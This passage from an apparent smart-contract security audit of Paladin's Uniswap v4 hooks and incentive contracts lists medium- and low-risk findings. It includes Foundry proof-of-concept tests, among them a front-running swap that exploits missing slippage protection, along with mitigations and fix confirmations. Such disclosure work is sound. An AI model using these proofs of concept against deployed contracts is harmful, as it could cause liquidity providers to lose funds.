Paladin: Fixed by commit `1d592ba`.

Cyfrin: Verified. The `IncentivizedERC20` decimals are now inherited from the lower-decimal underlying token.

7.3.2 ERC-20 tokens that do not implement `symbol()` are incompatible despite being accepted by Uniswap v4

Description: The protocol intends to support any ERC-20 token accepted by Uniswap v4; however, Uniswap v4 accepts tokens that do not implement the optional `symbol()` method from the ERC-20 standard.

In the following test, a Uniswap V4 pool is created with custom mocks that do not implement the `symbol()` method:

```
function test_PoolCreationWithTokensWithoutSymbols() public {
    MockERC20WithoutSymbol token0WithoutSymbol = new MockERC20WithoutSymbol("TEST1", 18);
    token0WithoutSymbol.mint(address(this), 1_000_000 * 10 ** 18);
    MockERC20WithoutSymbol token1WithoutSymbol = new MockERC20WithoutSymbol("TEST2", 18);
    token1WithoutSymbol.mint(address(this), 1_000_000 * 10 ** 18);

    vm.expectRevert();
    IERC20Metadata(address(token0WithoutSymbol)).symbol();
    vm.expectRevert();
    IERC20Metadata(address(token1WithoutSymbol)).symbol();

    PoolKey memory newKey = createPoolKey(address(token0WithoutSymbol), address(token1WithoutSymbol),
    ↪  3000, hookAddress);
    PoolId newId = key.toId();

    token0WithoutSymbol.approve(address(fullRange), type(uint256).max);
    token1WithoutSymbol.approve(address(fullRange), type(uint256).max);

    // address(0) is passed as the hook to prevent the revert from the actual FullRangeHook
    ↪  initialization
    initPool(newKey.currency0, newKey.currency1, IHooks(address(0)), 3000, SQRT_PRICE_1_1);
}
```

While Uniswap v4 supports ERC-20 tokens of this kind, neither `FullRangeHook` nor `MultiRangeHook` does as they assume the `symbol()` method can be called.

`FullRangeHook`:

```
function beforeInitialize(address, PoolKey calldata key, uint160)
    external
    override
    onlyPoolManager
    returns (bytes4)
{
    ...
    // Prepare the symbol for the LP token to be deployed
    string memory symbol0 =
        key.currency0.isAddressZero() ? NATIVE_CURRENCY_SYMBOL :
        ↪  IERC20Metadata(Currency.unwrap(key.currency0)).symbol();
    string memory symbol1 =
        key.currency1.isAddressZero() ? NATIVE_CURRENCY_SYMBOL :
        ↪  IERC20Metadata(Currency.unwrap(key.currency1)).symbol();

    string memory tokenSymbol =
        string(abi.encodePacked("UniV4", "-", symbol0, "-", symbol1, "-",
        ↪  Strings.toString(uint256(key.fee))));
    // Deploy the LP token for the Pool
    address poolToken = address(new IncentivizedERC20(tokenSymbol, tokenSymbol, poolId));
    ...
}
```

`MultiRangeHook`:

```
function createRange(PoolKey calldata key, RangeKey calldata rangeKey) external {
```

```
    ...
    // Prepare the symbol for the LP token to be deployed
    string memory symbol0 =
        key.currency0.isAddressZero() ? NATIVE_CURRENCY_SYMBOL :
        ↪ IERC20Metadata(Currency.unwrap(key.currency0)).symbol();
    string memory symbol1 =
        key.currency1.isAddressZero() ? NATIVE_CURRENCY_SYMBOL :
        ↪ IERC20Metadata(Currency.unwrap(key.currency1)).symbol();

    string memory tokenSymbol =
        string(abi.encodePacked("UniV4", "-", symbol0, "-", symbol1, "-",
        ↪ Strings.toString(uint256(key.fee))));
    // Deploy the LP token for the Pool
    address lpToken = address(new IncentivizedERC20(tokenSymbol, tokenSymbol, poolId));
    ...
}
```

Impact: The severity of this issue is high because these tokens can not be used even though Uniswap supports them; however, the likelihood is low since it is relatively uncommon for the `symbol()` method to not be implemented, so the overall impact is medium.

Proof of Concept: The following test, modified from above to now use the `FullRangeHook` which reverts upon initialization, should be added to `FullRangeHook.t.sol`:

```
function test_PoolCreationWithTokensWithoutSymbols() public {
    MockERC20WithoutSymbol token0WithoutSymbol = new MockERC20WithoutSymbol("TEST1", 18);
    token0WithoutSymbol.mint(address(this), 1_000_000 * 10 ** 18);
    MockERC20WithoutSymbol token1WithoutSymbol = new MockERC20WithoutSymbol("TEST2", 18);
    token1WithoutSymbol.mint(address(this), 1_000_000 * 10 ** 18);

    vm.expectRevert();
    IERC20Metadata(address(token0WithoutSymbol)).symbol();
    vm.expectRevert();
    IERC20Metadata(address(token1WithoutSymbol)).symbol();

    PoolKey memory newKey = createPoolKey(address(token0WithoutSymbol), address(token1WithoutSymbol),
    ↪ 3000, hookAddress);
    PoolId newId = key.toId();

    token0WithoutSymbol.approve(address(fullRange), type(uint256).max);
    token1WithoutSymbol.approve(address(fullRange), type(uint256).max);

    vm.expectRevert();
    initPool(newKey.currency0, newKey.currency1, IHooks(address(fullRange)), 3000, SQRT_PRICE_1_1);
}
```

The `MockERC20WithoutSymbol` is required for the test to run and trivial to reproduce.

Recommended Mitigation: It is recommended to implement a `try/catch` structure to verify whether the given token implements the `symbol()` method. If it is not supported, a default symbol could be used instead.

Paladin: Acknowledged, but as said in the issue, it is relatively uncommon to encounter an ERC20 that does not implement the `symbol()` function, so we accept not to support those tokens with our Hooks, as Pools for those rare tokens could be connected to Valkyrie via the Subscriber, or another Hook that will handle this edge case => No changes done here.

Cyfrin: Acknowledged.

7.3.3 Donations can be made directly to the Uniswap v4 pool due to missing overrides

Description: Currently, the donation hooks are not activated:

```
function getHookPermissions() public pure virtual override returns (Hooks.Permissions memory) {
    return Hooks.Permissions({
        ...
        beforeAddLiquidity: true,
        beforeRemoveLiquidity: false,
        afterAddLiquidity: false,
        afterRemoveLiquidity: false,
        beforeDonate: false,
        afterDonate: false,
        ...
    });
}
```

Given the following implementations of `PoolManager::donate` and `Hooks::beforeDonate` in Uniswap v4, donations will still be permitted due to an absence of the default behavior being overridden:

```
function donate(PoolKey memory key, uint256 amount0, uint256 amount1, bytes calldata hookData)
    external
    onlyWhenUnlocked
    noDelegateCall
    returns (BalanceDelta delta)
{
    PoolId poolId = key.toId();
    Pool.State storage pool = _getPool(poolId);
    pool.checkPoolInitialized();

    key.hooks.beforeDonate(key, amount0, amount1, hookData);

    delta = pool.donate(amount0, amount1);

    _accountPoolBalanceDelta(key, delta, msg.sender);

    // event is emitted before the afterDonate call to ensure events are always emitted in order
    emit Donate(poolId, msg.sender, amount0, amount1);

    key.hooks.afterDonate(key, amount0, amount1, hookData);
}

function beforeDonate(IHooks self, PoolKey memory key, uint256 amount0, uint256 amount1, bytes calldata
↪   hookData)
    internal
    noSelfCall(self)
{
    if (self.hasPermission(BEFORE_DONATE_FLAG)) {
        self.callHook(abi.encodeCall(IHooks.beforeDonate, (msg.sender, key, amount0, amount1,
        ↪   hookData)));
    }
}
```

The hooks don't intend to have permissions enabled for `before/afterDonate()` but this simply means that the calls to the hooks are skipped. As such, donations can be made when this may not be intended; however, following extensive investigations, it does not appear this behavior can be leveraged to execute a first depositor inflation attacks.

Impact: Fee growth can be artificially inflated by donations.

Recommended Mitigation: The `beforeDonate()` hook should be activated to always revert on donations so as to avoid fee inflation.

Paladin: Acknowledged, but donation increasing the `feeGrowth` for a given Pool/Range via the Hooks should not be an issue : • For the `FullRange`, donations will be rebalanced in the pool when liquidity is modified, either being

used to add in the pool liquidity. Large donation might increase/decrease the price of the pool, but that can be later arbitraged, or the extra fees received will simply be donated back in the Pool after the rebalancing, to be used later.
• For the `MultiRange`, it will either be used when rebalancing the liquidity in the range, or taken out for later use for rebalancing. As this should not impact the behavior of the Hook or the flow of incentives, we don't think donations should be blocked for those Hooks.

Cyfrin: Acknowledged.

7.3.4 Missing slippage protection when removing liquidity

Description: When a user removes liquidity, they can expect a specific amount of tokens in exchange; however, depending on the relative position of the price to the range from which the concentrated liquidity is being removed, this can be computed as single-sided liquidity in either token or a combination of both. Currently, users cannot specify their expected token amounts out when removing liquidity. This is problematic as removals are vulnerable to being front-run, where an attacker moves the price into a zone such that there is loss to the user.

All routers and similar UX-focused contracts that interact with Uniswap implement slippage protection to allow user to specify the minimum amount of each token they expect to receive in exchange for the liquidity being removed. For example, the Uniswap V4 `PositionManager` implementation:

```
    function _decrease(
        uint256 tokenId,
        uint256 liquidity,
@>      uint128 amount0Min,
@>      uint128 amount1Min,
        bytes calldata hookData
    ) internal onlyIfApproved(msgSender(), tokenId) {
        (PoolKey memory poolKey, PositionInfo info) = getPoolAndPositionInfo(tokenId);

        // Note: the tokenId is used as the salt.
        (BalanceDelta liquidityDelta, BalanceDelta feesAccrued) =
            _modifyLiquidity(info, poolKey, -(liquidity.toInt256()), bytes32(tokenId), hookData);
        // Slippage checks should be done on the principal liquidityDelta which is the liquidityDelta -
        ↪  feesAccrued
@>      (liquidityDelta - feesAccrued).validateMinOut(amount0Min, amount1Min);
    }
```

This issue is specifically problematic for the `MultiRangeHook` contract because the price is intended to move freely across all created ranges. As such, the liquidity computation can vary drastically. In the case of `FullRangeHook`, even though the price is intended to move exclusively within the full range, it would still be preferable to allow users to specify a minimum amount of each token to receive and especially considering the intended range does not fully cover the bounds implemented by Uniswap.

Impact: Liquidity providers are exposed to slippage when removing liquidity.

Proof of Concept: The following test should be placed within `MultiRangeHook.t.sol`:

```
function test_MissingSlippageProtection() public {
    int24 lowerTick = -1020;
    int24 upperTick = 1020;
    int24 currentTick = 0;

    uint160 currentSqrtPrice = TickMath.getSqrtPriceAtTick(currentTick);

    initPool(key2.currency0, key2.currency1, IHooks(address(multiRange)), 1000, currentSqrtPrice);

    rangeKey = RangeKey(id2, lowerTick, upperTick);
    rangeId = rangeKey.toId();

    multiRange.createRange(key2, rangeKey);

    uint256 token0Amount = 100 ether;
```

```
    uint256 token1Amount = 100 ether;

    // User1 mints 100 tokens of each worth of liquidity when the price is between the range
    uint128 mintedLiquidity = multiRange.addLiquidity(
        MultiRangeHook.AddLiquidityParams(
            key2, rangeKey, token0Amount, token1Amount, 99 ether, 99 ether, address(this), MAX_DEADLINE
        )
    );

    IPoolManager.SwapParams memory params =
        IPoolManager.SwapParams({ zeroForOne: true, amountSpecified: -1000 ether, sqrtPriceLimitX96:
        ↪  TickMath.getSqrtPriceAtTick(lowerTick - 60) });
    HookEnabledSwapRouter.TestSettings memory settings =
        HookEnabledSwapRouter.TestSettings({ takeClaims: false, settleUsingBurn: false });

    // User1 is about to remove all the liquidity but gets frontrun by someone that moves the price out
    ↪  of the range
    router.swap(key2, params, settings, ZERO_BYTES);

    address liquidityToken = multiRange.rangeLpToken(rangeId);
    IncentivizedERC20(liquidityToken).approve(address(multiRange), type(uint256).max);

    MultiRangeHook.RemoveLiquidityParams memory removeLiquidityParams =
        MultiRangeHook.RemoveLiquidityParams(key2, rangeKey, mintedLiquidity - 1000, MAX_DEADLINE);

    // User1 expected similar amount of each tokens from what he deposited but instead they only
    ↪  receives an amount of token 0
    BalanceDelta delta = multiRange.removeLiquidity(removeLiquidityParams);

    console.log("Token 0 received from liquidity removal:", delta.amount0());
    console.log("Token 1 received from liquidity removal:", delta.amount1());
}
```

Output:

```
Ran 1 test for test/MultiRangeHook.t.sol:TestMultiRangeHook
[PASS] test_MissingSlippageProtection() (gas: 1988383)
Logs:
  Token 0 received from liquidity removal: 205337358362575417542
  Token 1 received from liquidity removal: 0

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.33ms (1.32ms CPU time)
```

Recommended Mitigation: For `MultiRangeHook`:

```
    struct RemoveLiquidityParams {
        PoolKey key;
        RangeKey range;
        uint256 liquidity;
        uint256 deadline;
++      uint256 token0Min;
++      uint256 token1Min;
    }


    function removeLiquidity(RemoveLiquidityParams calldata params)
        public
        virtual
        nonReentrant
        ensure(params.deadline)
        returns (BalanceDelta delta)
    {
```

```
        ...
        // Remove liquidity from the Pool
        delta = modifyLiquidity(
            params.key,
            params.range,
            IPoolManager.ModifyLiquidityParams({
                tickLower: params.range.tickLower,
                tickUpper: params.range.tickUpper,
                liquidityDelta: -(params.liquidity.toInt256()),
                salt: 0
            })
        );

++      if(uint128(delta.amount0()) < params.token0Min || uint128(delta.amount1()) < params.token1Min)
↪   revert();

        // Burn the LP tokens
        IncentivizedERC20(lpToken).burn(msg.sender, params.liquidity);

        emit Withdrawn(msg.sender, poolId, rangeId, params.liquidity);
    }
```

For `FullRangeHook`:

```
    struct RemoveLiquidityParams {
        Currency currency0;
        Currency currency1;
        uint24 fee;
        uint256 liquidity;
        uint256 deadline;
++      uint256 token0Min;
++      uint256 token1Min;
    }

    function removeLiquidity(RemoveLiquidityParams calldata params)
        public
        virtual
        nonReentrant
        ensure(params.deadline)
        returns (BalanceDelta delta)
    {
       ...

        // Remove liquidity from the Pool
        delta = modifyLiquidity(
            key,
            IPoolManager.ModifyLiquidityParams({
                tickLower: MIN_TICK,
                tickUpper: MAX_TICK,
                liquidityDelta: -(params.liquidity.toInt256()),
                salt: 0
            })
        );

++      if(uint128(delta.amount0()) < params.token0Min || uint128(delta.amount1()) < params.token1Min)
↪   revert();

        // Burn the LP tokens
        erc20.burn(msg.sender, params.liquidity);

        emit Withdrawn(msg.sender, poolId, params.liquidity);
```

```
    }
```

Paladin: Fixed by commit 653ca73.

Cyfrin: Verified. Slippage checks when removing liquidity have been added to both hooks.

7.3.5 Deposited rewards get stuck in incentive logic contracts when there is no pool liquidity

Description: For an interval of time during which there is zero liquidity in the pool and a reward has been actively distributed, the proportional amount of rewards that correspond to this interval when the liquidity has been zero will not be withdrawable by anyone.

Impact: While it is highly improbable for this scenario to occur, it would result in a loss of funds.

Recommended Mitigation: Assign the corresponding reward amount to the owner by accumulating it in the `accumulatedFees` storage variable:

```
    function _updateRewardState(IncentivizedPoolId id, address token, address account) internal virtual
    ↪  {
        // Sync pool total liquidity if not already done
        if(!poolSynced[id]) {
            _syncPoolLiquidity(id);
            poolSynced[id] = true;
        }

        RewardData storage _state = poolRewardData[id][token];
        uint96 newRewardPerToken = _newRewardPerToken(id, token).toUint96();
        _state.rewardPerTokenStored = newRewardPerToken;

++      uint256 lastUpdateTimeApplicable = block.timestamp < _state.endTimestamp ? block.timestamp :
↪  _state.endTimestamp;
++      if (poolStates[id].totalLiquidity == 0) {
++          accumulatedFees[token] += (lastUpdateTimeApplicable - _state.lastUpdateTime) *
↪  _state.ratePerSec;
++      }
++      _state.lastUpdateTime = uint32(lastUpdateTimeApplicable);

--      uint32 endTimestampCache = _state.endTimestamp;
--      _state.lastUpdateTime = block.timestamp < endTimestampCache ? block.timestamp.toUint32() :
↪  endTimestampCache;

        // Update user state if an account is provided
        if (account != address(0)) {
            if(!userLiquiditySynced[id][account]) {
                _syncUserLiquidity(id, account);
                userLiquiditySynced[id][account] = true;
            }

            UserRewardData storage _userState = userRewardStates[id][account][token];
            _userState.accrued = _earned(id, token, account).toUint160();
            _userState.lastRewardPerToken = newRewardPerToken;
        }
    }
```

Paladin: Fixed by commit 653ca73.

Cyfrin: Verified. All `_updateRewardState()` implementations have been updated to accumulate rewards distributed to zero liquidity as fees. However, in all instances, the last update time is erroneously cast to `uint32` instead of `uint48`:

```
_state.lastUpdateTime = uint32(lastUpdateTimeApplicable);
```

Paladin: Fixed by commit f3e5251.

Cyfrin: Verified. The unnecessary downcasts have been removed.

7.3.6 Missing duplicate Incentive Logic can result in Incentive System accounting being broken

Description: `IncentiveManager::addIncentiveLogic` allows the owner to add a new Incentive Logic to the list of Incentive Systems:

```
function addIncentiveLogic(address logic) external onlyOwner {
    uint256 _index = nextIncentiveIndex;
    incentiveSystems[_index] = IncentiveSystem(logic, IIncentiveLogic(logic).updateOnSwap());
    incentiveSystemIndex[logic] = _index;
    nextIncentiveIndex++;

    emit NewIncentiveLogic(_index, logic);
}
```

Once added by the owner, an Incentive Logic can call `IncentiveManager::addPoolIncentiveSystem`:

```
function addPoolIncentiveSystem(IncentivizedPoolId id) external onlyIncentiveLogics {
    uint256 _systemId = incentiveSystemIndex[msg.sender];
    if (poolListedIncentiveSystems[id][_systemId]) return;
    poolIncentiveSystems[id].push(_systemId);
    poolListedIncentiveSystems[id][_systemId] = true;
}
```

Given that there is no duplicate validation in `addIncentiveLogic()`, any existing index will be overwritten if this function is called more than once for the same logic address. This would mean that the Incentive Logic could also call `addPoolIncentiveSystem()` multiple times with different indexes being pushed to the `poolIncentiveSystems` array. This is highly likely to happen given that the function is invoked in every call to the permissionless `BaseIncentiveLogic::depositRewards`, and since the notification functions loop over all incentive systems attached to a given pool this would corrupt incentives accounting on the system itself.

Impact: Incentive system accounting will be broken if the owner mistakenly calls `IncentiveManager::addIncentiveLogic` more than once for a given Incentive Logic.

Proof of Concept: The following test should be added to `IncentiveManager.t.sol`:

```
function test_addDuplicateIncentiveLogic() public {
    manager.addHook(address(hook1));
    hook1.notifyInitialize(pool1, lpToken1);
    hook1.notifyInitialize(pool2, lpToken2);

    vm.expectEmit(true, true, true, true);
    emit NewIncentiveLogic(1, address(logic1));
    manager.addIncentiveLogic(address(logic1));

    assertEq(manager.incentiveSystemIndex(address(logic1)), 1);

    assertEq(manager.poolListedIncentiveSystems(id1, 1), false);
    assertEq(manager.poolListedIncentiveSystems(id1, 2), false);

    logic1.addPoolIncentiveSystem(address(manager), id1);

    assertEq(manager.poolListedIncentiveSystems(id1, 1), true);
    assertEq(manager.poolListedIncentiveSystems(id1, 2), false);

    vm.expectEmit(true, true, true, true);
    emit NewIncentiveLogic(2, address(logic1));
    manager.addIncentiveLogic(address(logic1));
```

```
    assertEq(manager.incentiveSystemIndex(address(logic1)), 2);

    assertEq(manager.poolListedIncentiveSystems(id1, 1), true);
    assertEq(manager.poolListedIncentiveSystems(id1, 2), false);

    logic1.addPoolIncentiveSystem(address(manager), id1);

    assertEq(manager.poolListedIncentiveSystems(id1, 1), true);
    assertEq(manager.poolListedIncentiveSystems(id1, 2), true);

    (address system1, bool updateOnSwap1) = manager.incentiveSystems(1);
    assertEq(system1, address(logic1));
    assertEq(updateOnSwap1, false);

    (address system2, bool updateOnSwap2) = manager.incentiveSystems(2);
    assertEq(system2, address(logic1));
    assertEq(updateOnSwap2, false);


    int256 amount = int256(10 ether);

    uint256 prev_balance = logic1.userBalances(id1, user1);
    uint256 prev_user_liquidity = manager.poolUserLiquidity(id1, user1);
    uint256 prev_total_liquidity = manager.poolTotalLiquidity(id1);

    vm.expectEmit(true, true, true, true);
    emit LiquidityChange(id1, address(0), user1, uint256(amount));

    hook1.notifyAddLiquidty(pool1, lpToken1, user1, amount);

    uint256 new_balance = logic1.userBalances(id1, user1);
    uint256 new_user_liquidity = manager.poolUserLiquidity(id1, user1);
    uint256 new_total_liquidity = manager.poolTotalLiquidity(id1);

    assertEq(new_balance, prev_balance + uint256(amount));

    assertEq(new_user_liquidity, prev_user_liquidity + uint256(amount));
    assertEq(new_total_liquidity, prev_total_liquidity + uint256(amount));

    assertEq(manager.getPoolTotalLiquidity(id1), new_total_liquidity);
    assertEq(manager.getPoolUserLiquidity(id1, user1), new_user_liquidity);
}
```

Output showing failed assertion to to duplicated logic:

```
Ran 1 test for test/IncentiveManager.t.sol:TestIncentiveManager
[FAIL: assertion failed: 2000000000000000000 != 1000000000000000000]
↪  test_addDuplicateIncentiveLogic() (gas: 464110)
Traces:
  [464110] TestIncentiveManager::test_addDuplicateIncentiveLogic()
...
 [661] MockIncentiveLogic::userBalances(0xbfc3c7b8004ffcc0067b8de92da164f24769e5112a4f4f571b7f1d7f70c1d
↪  9d0, 0x000000000000000000000000000000000001B207)
↪  [staticcall]
    ← [Return] 2000000000000000000 [2e19]
 [908] IncentiveManager::poolUserLiquidity(0xbfc3c7b8004ffcc0067b8de92da164f24769e5112a4f4f571b7f1d7f70
↪  c1d9d0, 0x000000000000000000000000000000000001B207)
↪  [staticcall]
    ← [Return] 1000000000000000000 [1e19]
 [975] IncentiveManager::poolTotalLiquidity(0xbfc3c7b8004ffcc0067b8de92da164f24769e5112a4f4f571b7f1d7f7
↪  0c1d9d0)
↪  [staticcall]
```

```
    ← [Return] 10000000000000000000 [1e19]
  [0] VM::assertEq(20000000000000000000 [2e19], 10000000000000000000 [1e19]) [staticcall]
    ← [Revert] assertion failed: 20000000000000000000 != 10000000000000000000
  ← [Revert] assertion failed: 20000000000000000000 != 10000000000000000000
```

Recommended Mitigation: Avoid overwriting an existing index for a given logic contract:

```
function addIncentiveLogic(address logic) external onlyOwner {
++  if(incentiveSystemIndex[logic] != 0) revert("Already added");
    uint256 _index = nextIncentiveIndex;
    incentiveSystems[_index] = IncentiveSystem(logic, IIncentiveLogic(logic).updateOnSwap());
    incentiveSystemIndex[logic] = _index;
    nextIncentiveIndex++;

    emit NewIncentiveLogic(_index, logic);
}
```

Paladin: Fixed by commit a7c3dc0.

Cyfrin: Verified. Execution now reverts if the owner attempts to add the same logic twice.

7.3.7 `TimeWeightedIncentiveLogic` distributions are not possible for tokens that revert on zero transfers

Description: When rewards in a given token are deposited to `TimeWeightedIncentiveLogic` for the first time, the cached end timestamp will be zero. Comparison with the current non-zero block timestamp causes execution to enter the conditional block that handles new distributions after the previous one is over. In general, this logic is sound; however, attempting to remove past rewards when there are none for the first distribution will result in a zero value transfer.

```
function _depositRewards(
    IncentivizedPoolId id,
    address token,
    uint256 amount,
    uint256 duration,
    uint256 requiredDuration,
    RewardType rewardType
) internal {
    ...

    // Update the reward distribution parameters
    uint32 endTimestampCache = _state.endTimestamp;
    if (endTimestampCache < block.timestamp) {
        ...

        // Remove past rewards if the distribution is over
        _removePastRewards(id, token);

        ...
    } else {
        ...
    }

    ...
}
```

Here, the withdrawable amount is zero. If the intended reward token is one that reverts on zero transfers then this will prevent distributions for that token.

```
function _removePastRewards(IncentivizedPoolId id, address token) internal {
    address manager = distributionManagers[id][token];
```

```
    uint256 amount = withdrawableAmounts[id][token][manager];
    withdrawableAmounts[id][token][manager] = 0;

    IERC20(token).safeTransfer(manager, amount);

    emit RewardsWithdrawn(id, token, manager, amount);
}
```

Impact: `TimeWeightedIncentiveLogic` distributions are not possible for tokens that revert on zero transfers

Proof of Concept: The following test should be added to `TimeWeightedIncentiveLogic.t.sol`:

```
function test_ZeroTransferDoS() public {
    ZeroTransferERC20 token = new ZeroTransferERC20("TKN", "TKN", 18);

    logic.updateDefaultFee(0);

    IncentivizedPoolId incentivizedId = IncentivizedPoolKey({ id: pool1, lpToken: lpToken1 }).toId();

    manager.setListedPool(incentivizedId, true);

    address[] memory systems = new address[](1);
    systems[0] = address(logic);

    uint256 amount = 1000 ether;
    uint256 duration = 5 weeks;
    uint256 requiredDuration = 1 weeks;

    manager.notifyAddLiquidty(systems, pool1, lpToken1, user1, int256(100 ether));

    vm.expectRevert();
    logic.depositRewards(
        incentivizedId,
        address(token),
        amount,
        duration,
        requiredDuration,
        TimeWeightedIncentiveLogic.RewardType.WITHDRAW
    );
}
```

For `ZeroTransferERC20`, override the relevant transfer functions:

```
contract ZeroTransferERC20 is MockERC20 {
    constructor(string memory name, string memory symbol, uint8 decimals) MockERC20(name, symbol,
    ↪  decimals) {}

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        if (amount == 0) revert("zero amount");
        return super.transfer(to, amount);
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        if (amount == 0) revert("zero amount");
        return super.transferFrom(from, to, amount);
    }
}
```

Recommended Mitigation: Skip the transfer if there are no tokens to transfer:

```
function _removePastRewards(IncentivizedPoolId id, address token) internal {
    address manager = distributionManagers[id][token];

    uint256 amount = withdrawableAmounts[id][token][manager];
    withdrawableAmounts[id][token][manager] = 0;

--  IERC20(token).safeTransfer(manager, amount);
++  if (amount != 0) IERC20(token).safeTransfer(manager, amount);

    emit RewardsWithdrawn(id, token, manager, amount);
}
```

Paladin: Fixed by commit b294f21.

Cyfrin: Verified. Withdrawal of zero amounts now return early, bypassing the state update, transfer, and event emission.

7.4 Low Risk

7.4.1 Misleading liquidity value returned when adding liquidity

Description: When a user adds liquidity to a pool using either of the two hooks, the `addLiquidity()` function returns a value representing the amount of liquidity the user will receive in the `IncentivizedERC20` form; however, It can be seen in the below snippet that the returned value is the actual liquidity deposited to the pool:

```
function addLiquidity(AddLiquidityParams calldata params)
    external
    payable
    nonReentrant
    ensure(params.deadline)
    returns (uint128 liquidity)
{
    ...
    liquidity = LiquidityAmounts.getLiquidityForAmounts(
        sqrtPriceX96,
        TickMath.getSqrtPriceAtTick(params.range.tickLower),
        TickMath.getSqrtPriceAtTick(params.range.tickUpper),
        params.amount0Desired,
        params.amount1Desired
    );

    if (rangeLiquidity == 0 && liquidity <= MINIMUM_LIQUIDITY) {
        revert LiquidityDoesntMeetMinimum();
    }
    // Add liquidity to the Pool
    BalanceDelta addedDelta = modifyLiquidity(
        params.key,
        params.range,
        IPoolManager.ModifyLiquidityParams({
            tickLower: params.range.tickLower,
            tickUpper: params.range.tickUpper,
            liquidityDelta: liquidity.toInt256(),
            salt: 0
        })
    );

    uint256 liquidityMinted;
    if (rangeLiquidity == 0) {
        // permanently lock the first MINIMUM_LIQUIDITY tokens
        liquidityMinted = liquidity - MINIMUM_LIQUIDITY;
        IncentivizedERC20(lpToken).mint(address(0), MINIMUM_LIQUIDITY);
        // Mint the LP tokens to the user
        IncentivizedERC20(lpToken).mint(params.to, liquidityMinted);
    } else {
        // Calculate the amount of LP tokens to mint
        (uint128 newRangeLiquidity,,) =
            poolManager.getPositionInfo(poolId, address(this), params.range.tickLower,
            ↪  params.range.tickUpper, 0);
        liquidityMinted =
            FullMath.mulDiv(IncentivizedERC20(lpToken).totalSupply(), liquidity, newRangeLiquidity -
            ↪  liquidity);
        // Mint the LP tokens to the user
        IncentivizedERC20(lpToken).mint(params.to, liquidityMinted);
    }

    ...
}
```

For the initial minimum liquidity deposit, an amount of `1e3` is subtracted to compute the actual amount of `In-`

centivizedERC20 tokens to mint, making this return value incorrect. Additionally, when the value of the IncentivizedERC20 and the liquidity de-pegs, this function will return the actual liquidity deposited to the pool and not the amount minted.

```
/// @return liquidity Amount of liquidity minted
```

Note that while the above NatSpec tag is present, this can be quite misleading because the correspondence between the actual amount of liquidity added to the Uniswap pool and IncentivizedERC20 tokens minted in exchange is broken. Both users and external integrators are likely to reference this value when later removing liquidity, making this potentially problematic as attempting to remove liquidity with a returned value that is larger than the actual amount of tokens minted will revert.

Impact: The value returned when adding liquidity is misleading and does not accurately represent the IncentivizedERC20 tokens minted. This could cause problems for user, integrators, and other off-chain indexing infrastructure.

Proof of Concept:

```
function test_MisleadingReturnedLiquidityValue() public {
    initPool(key.currency0, key.currency1, IHooks(hookAddress), 3000, SQRT_PRICE_1_1);

    uint128 liquidity = fullRange.addLiquidity(
        FullRangeHook.AddLiquidityParams(
            key.currency0, key.currency1, 3000, 10e6, 10e6, 0, 0, address(this), MAX_DEADLINE
        )
    );

    (, address liquidityToken) = fullRange.poolInfo(id);

    IncentivizedERC20(liquidityToken).approve(address(fullRange), type(uint256).max);

    // The returned liquidity is used to remove but it fails due to misleading value
    FullRangeHook.RemoveLiquidityParams memory removeLiquidityParams =
        FullRangeHook.RemoveLiquidityParams(key.currency0, key.currency1, 3000, liquidity,
        ↪  MAX_DEADLINE);

    vm.expectRevert();
    fullRange.removeLiquidity(removeLiquidityParams);
}
```

Recommended Mitigation: Consider returning the liquidityMinted instead, since this is the actual value minted by the IncentivizedERC20 token:

```
    function addLiquidity(AddLiquidityParams calldata params)
        external
        payable
        nonReentrant
        ensure(params.deadline)
--      returns (uint128 liquidity)
++      returns (uint128 liquidityMinted)
    {
        ...

        // Calculate the amount of liquidity to be added based on Currencies amounts
--      liquidity = LiquidityAmounts.getLiquidityForAmounts(
++      uint128 liquidity = LiquidityAmounts.getLiquidityForAmounts(
            sqrtPriceX96,
            TickMath.getSqrtPriceAtTick(MIN_TICK),
            TickMath.getSqrtPriceAtTick(MAX_TICK),
            params.amount0Desired,
            params.amount1Desired
        );
```

```
        ...

        // @gas cache pool's liquidity token
        IncentivizedERC20 poolLiquidityToken = IncentivizedERC20(poolInfo[poolId].liquidityToken);

--      uint256 liquidityMinted;
        if (poolLiquidity == 0) {
            // permanently lock the first MINIMUM_LIQUIDITY tokens
            liquidityMinted = liquidity - MINIMUM_LIQUIDITY;
            poolLiquidityToken.mint(address(0), MINIMUM_LIQUIDITY);
            // Mint the LP tokens to the user
            poolLiquidityToken.mint(params.to, liquidityMinted);
        } else {
            // Calculate the amount of LP tokens to mint
--          liquidityMinted = FullMath.mulDiv(
++          liquidityMinted = uint128(FullMath.mulDiv(
                poolLiquidityToken.totalSupply(),
                liquidity,
                poolManager.getLiquidity(poolId) - liquidity
--          );
++          ));
            // Mint the LP tokens to the user
            poolLiquidityToken.mint(params.to, liquidityMinted);
        }

        ...
    }
```

Paladin: Fixed by commit fd9d2c9.

Cyfrin: Verified. The actual minted liquidity amount is now returned.

7.4.2 Missing tick validation when creating a new range in `MultiRangeHook`

Description: When adding liquidity to a pool configured with the `MultiRangeHook`, it is necessary to first initialize the pool and create the desired range. Users are limited to adding liquidity to tick ranges that are multiples of the configured `tickSpacing` of the pool, such that an attempt to add liquidity in the range `[-50, 50]` for a pool configured with a tick spacing of `60` will fail. This is due to a revert with `TickMisaligned()` originating from `TickBitmap::flipTick` invoked within `Pool::modifyLiquidity`. However, `MultiRangeHook::createRange` does not currently perform any validation on the tick range. It is therefore possible to create an invalid range that will create an unusable `IncentivizedERC20` token, wasting the caller's gas.

Impact: Ranges that cannot be used can be created within `MultiRangeHook` and pushed to the `poolLpTokens` array.

Proof of Concept:

```
function test_InvalidTickRangeCreation() public {
    int24 lowerTick = -90;
    int24 upperTick = 90;

    // Pool with 20 tick spacing
    initPool(key2.currency0, key2.currency1, IHooks(address(multiRange)), 1000, SQRT_PRICE_1_1);

    rangeKey = RangeKey(id2, lowerTick, upperTick);
    rangeId = rangeKey.toId();

    multiRange.createRange(key2, rangeKey);

    uint256 token0Amount = 100 ether;
    uint256 token1Amount = 100 ether;
```

```
    vm.expectRevert(abi.encodeWithSelector(TickBitmap.TickMisaligned.selector, lowerTick,
    ↪  int256(int24(20))));
    multiRange.addLiquidity(
        MultiRangeHook.AddLiquidityParams(
            key2, rangeKey, token0Amount, token1Amount, 99 ether, 99 ether, address(this), MAX_DEADLINE
        )
    );
}
```

